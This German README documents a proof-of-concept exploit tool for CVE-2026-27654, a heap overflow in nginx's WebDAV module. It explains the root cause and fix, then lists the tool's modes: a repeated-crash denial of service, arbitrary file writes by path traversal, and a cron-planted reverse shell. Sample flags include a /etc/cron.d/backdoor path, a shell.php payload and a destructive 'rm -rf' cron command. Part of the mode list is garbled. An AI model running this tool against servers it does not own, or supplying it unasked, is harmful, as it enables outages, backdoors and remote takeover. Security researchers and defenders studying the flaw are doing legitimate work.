
Proof-of-Concept und technische Analyse für CVE-2026-27654, eine heap-basierte Pufferüberlauf-Schwachstelle im NGINX HTTP WebDAV-Modul, einschließlich Ursachenanalyse, Reproduktion und Mitigation.
Dieses Repository stellt einen Proof-of-Concept-Exploit für CVE-2026-27654 bereit, eine Heap-Overflow-Schwachstelle im ngx_http_dav_module von nginx. Der Fehler entsteht durch einen size_t-Unterlauf bei der Verarbeitung von MOVE/COPY-Anfragen mit speziell präparierten Destination-Headern und alias-basierten Locations.
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für autorisiertes Sicherheitsresearch und -testing gedacht. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche Testgenehmigung hast. Die Autoren übernehmen keine Haftung für Missbrauch.
CVE-2026-27654 ist ein remote auslösbarer heap-basierter Pufferüberlauf im NGINX-HTTP-WebDAV-Modul, verursacht durch einen Integer-Unterlauf in ngx_http_dav_copy_move_handler() (src/http/modules/ngx_http_dav_module.c). Die Schwachstelle tritt auf, wenn die Länge der Ziel-URI durch Subtraktion des konfigurierten Location-Präfixes vom Pfad des Destination-Headers ermittelt wird. Da beide Operanden vom Typ size_t sind, führt ein kürzerer Zielpfad dazu, dass die Subtraktion auf einen nahezu maximalen vorzeichenlosen Wert umschlägt.
Die umgeschlagene Länge wird anschließend als Größenargument an memcpy() übergeben, was zu einem Out-of-Bounds-Heap-Schreibzugriff führt, der den Speicher beschädigt und den NGINX-Worker-Prozess sofort zum Absturz bringt. Ein entfernter, nicht authentifizierter Angreifer kann diesen Zustand zuverlässig mit einer einzigen präparierten MOVE- oder COPY-Anfrage gegen eine alias-gemappte WebDAV-Location auslösen. Während der NGINX-Master-Prozess fehlgeschlagene Worker automatisch neu startet, können wiederholte Anfragen den Dienst in einer kontinuierlichen Worker-Absturzschleife halten, was zu einem anhaltenden Denial-of-Service (DoS) führt.
AddressSanitizer (ASan) bestätigt die Schwachstelle mit einem negative-size-param-Fehler in memcpy() und verfolgt den Ausführungspfad von ngx_http_dav_copy_move_handler() bis ngx_http_core_module.c. Die Schwachstelle betrifft NGINX 0.5.13–1.28.2 (stable) und 1.29.0–1.29.6 (mainline), wenn mit --with-http_dav_module kompiliert und mit der alias-Direktive konfiguriert. Das Problem wurde in NGINX 1.28.3 und 1.29.7 (Commit ab4b5b8, PR #1210) durch ordnungsgemäße Validierung der berechneten Zielpfadlänge vor Speicheroperationen behoben.
MOVE/COPY-Anfrage, die den size‑t-Unterlauf auslöst und den verwundbaren Worker zum Absturz bringt.alias)./etc/cron.d/ bereit, mit interaktiven Eingabeaufforderungen für LHOST/LPORT und einer Erinnerung zum Starten des Listeners.--cron-command.--check) – Nicht-interaktiver Modus, der den Absturztest ausführt und ein klares [VULNERABLE] / [NOT VULNERABLE]-Urteil ausgibt und mit Code 0 oder 1 beendet wird.--proxy) – Leiten Sie alle Anfragen über einen HTTP/HTTPS-Proxy (z. B. Burp Suite, mitmproxy) für Debugging oder Verkehrsinspektion.--payload-file (binär), --payload-text (wörtlicher Text) bereit oder verwenden Sie den Standard-Testinhalt.--destination-path, --alias-len, --escape-depth, --method, --location-prefix und mehr.requests-Bibliothek nicht installiert ist, greift das Skript auf Pythons Standard-http.client zurück (Proxy-Unterstützung ist im Fallback-Modus deaktiviert).git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
Ihnen wird ein nummeriertes Menü angezeigt und Sie werden aufgefordert, einen Modus auszuwählen.
python exploit.py --target 192.168.1.100:8080 --check
Dadurch wird der crash-Modus erzwungen, der Exploit ausgeführt und [VULNERABLE] oder [NOT VULNERABLE] ausgegeben, bevor mit dem Code 0 oder 1 beendet wird.
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
Alle HTTP-Anfragen werden über den angegebenen Proxy gesendet (nützlich für das Debugging mit Burp).
| Flag | Beschreibung | Beispiel |
|---|---|---|
--target HOST:PORT | Ziel-nginx-Instanz (Standard: 127.0.0.1:8080). | --target 10.0.0.5:80 |
--verbose, -v | Vollständige HTTP-Antworten anzeigen (Header und Body). | -v |
--no-put | Den anfänglichen PUT überspringen (Trigger-Datei existiert bereits). Nützlich für wiederholte Tests. | --no-put |
--location-prefix | DAV-Location-Präfix (Standard: /uploads/). Muss mit der alias-Location in der nginx-Konfiguration übereinstimmen. | --location-prefix /dav/ |
--remote-name | Dateiname der Remote-Quelle, der innerhalb der DAV-Location abgelegt wird (Standard: triggerfile.txt). | --remote-name test.txt |
--method {MOVE,COPY} | DAV-Methode für die Zielanfrage (Standard: MOVE). | --method COPY |
--destination-path | Ziel-URI-Pfad – wird für die Crash-Arithmetik oder als endgültiger Dateipfad für Delivery-Modi verwendet. | --destination-path /etc/cron.d/backdoor |
--alias-len | Länge des konfigurierten alias-Strings (wird für die Anzeige der Crash-Arithmetik verwendet, Standard 13). | --alias-len 20 |
--escape-depth | Anzahl der ../-Pfadkomponenten zum Verlassen des DAV-Roots (Standard 1). | --escape-depth 3 |
--payload-file | Lokale Datei, die als Payload hochgeladen wird. Überschreibt den Standard-Testinhalt. | --payload-file ./shell.php |
--payload-text | Literaler Text-Payload für den write-file-Modus. | --payload-text "<?php phpinfo(); ?>" |
--lhost | Callback-Host für die Reverse Shell (für cron-shell). Wenn nicht angegeben, fragt das Skript interaktiv nach. | --lhost 192.168.1.50 |
--lport | Callback-Port für die Reverse Shell (für cron-shell). | --lport 4444 |
--cron-command | Befehl, der über cron ausgeführt wird (für cron-cmd). Wenn nicht angegeben, fragt das Skript interaktiv nach. | --cron-command "rm -rf /tmp/*" |
--wait | Sekunden, die nach der cron-Auslieferung gewartet wird, bis der Job ausgeführt wird (Standard 65). | --wait 120 |
--check | Führt den Schwachstellen-Check aus (Crash-Test, nicht interaktiv). Gibt VULNERABLE/NOT VULNERABLE aus und beendet sich mit Code 0/1. | --check |
--proxy PROXY_URL | HTTP/HTTPS-Proxy-URL (z. B. http://127.0.0.1:8080). Erfordert die requests-Bibliothek. | --proxy http://127.0.0.1:8080 |